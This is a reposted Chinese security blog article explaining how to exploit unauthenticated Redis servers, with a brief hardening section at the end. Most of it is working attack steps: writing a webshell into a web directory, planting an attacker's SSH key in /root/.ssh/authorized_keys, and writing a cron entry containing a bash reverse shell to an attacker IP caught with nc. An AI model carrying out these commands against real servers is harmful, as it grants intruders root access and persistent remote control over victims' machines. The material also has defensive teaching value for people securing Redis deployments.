WEB安全

Redis未授权访问漏洞的利用姿势

字号+ 作者:MAX丶 来源:转载 2016-12-18 14:36 我要评论( )

0x01 Redis简介 redis是一个key-value型数据库,信息以键对应值的关系存储在内存中,当然可以 把其存储至硬盘上。项目中使用redis做任务队列的存储器可以很容易实现......

0x01 Redis简介redis是一个key-value型数据库,信息以键对应值的关系存储在内存中,当然可以 把其存储至硬盘上。项目中使用redis做任务队列的存储器可以很容易实现分布式,另外也开始流行使用redis作为session的存储器来替换传统的 文件方式。在默认情况下,Redis会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis的数据。
redis的配置中,有以下几个关键的点:
dir,指定的是redis的“工作路径”,之后生成的RDB和AOF文件都会存储在这里。
dbfilename,RDB文件名,默认为“dump.rdb”
appendonly,是否开启AOF
appendfilename,AOF文件名,默认为“appendonly.aof”
appendfsync,AOF备份方式:always、everysec、no


0x02 Redis之WebShell如果服务器存在web项目,并且你知道了系统路径,我们就可以通过如下方法来获取该服务器的webshell。

即我们可以将dir设置为web目录/usr/share/nginx/html/,而dbfilename为文件名1.shell,再执行save或bgsave,则我们就可以在web目录下写入一个webshell。
0x03 Redis之SSH攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。
首先在本地生产公私钥文件:
[PHP] 纯文本查看 复制代码
?
1
$ssh-keygen –t rsa


然后将公钥写入 foo.txt 文件
[AppleScript] 纯文本查看 复制代码
?
1
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

再连接 Redis 写入文件
[AppleScript] 纯文本查看 复制代码
?
01
02
03
04
05
06
07
08
09
10
11
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.11:6379> save
OK


这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里,然后攻击者直接执行:
[AppleScript] 纯文本查看 复制代码
?
1
$ ssh –i  id_rsa [email]root@192.168.1.xxx[/email]

即可远程利用自己的私钥登录该服务器。
当然,写入的目录不限于 /root/.ssh 下的authorized_keys,也可以写入用户目录,不过 Redis 很多以 root 权限运行,所以写入 root 目录下,可以跳过猜用户的步骤。
0x04 Redis之计划任务1 /var/spool/cron linux机器下默认的计划任务,开启cron的时候,linux会定时去执行里面的任务,文件名为用户名
2 redis 设置dbfilename 到上面可以直接反弹shell回来
利用方式如下:
[AppleScript] 纯文本查看 复制代码
?
1
2
3
4
5
6
7
8
9
echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/xxx.xxx.xx.120/2333 0>&1\n\n"|redis-cli -h 42.121.237.xx -x set 1
redis-cli -h 42.121.237.23                                                                                     
42.121.237.23:6379> config set dir /var/spool/cron
OK
42.121.237.23:6379> config set dbfilename root
OK
42.121.237.23:6379> save
OK
然后本机nc -lvv 2333

这种方式简单粗暴明了,连提权都省了~
具体案例参见:https://www.secpulse.com/archives/49962.html
0x05 安全建议1.配置bind选项,限定可以连接Redis服务器的IP,修改 Redis 的默认端口6379。
2.配置认证,也就是AUTH,设置密码,密码会以明文方式保存在Redis配置文件中。
3.配置rename-command 配置项 “RENAME_CONFIG”,这样即使存在未授权访问,也能够给攻击者使用config 指令加大难度。
好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如config。
参考来源:
https://www.secpulse.com/archives/5357.html
https://www.secpulse.com/archives/40406.html
http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/

本文来自: 蜗蜗侠's Blog-关注网络安全 http://blog.icxun.cn/Web/449.html

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

相关文章
网友点评
暂时未开启评论功能~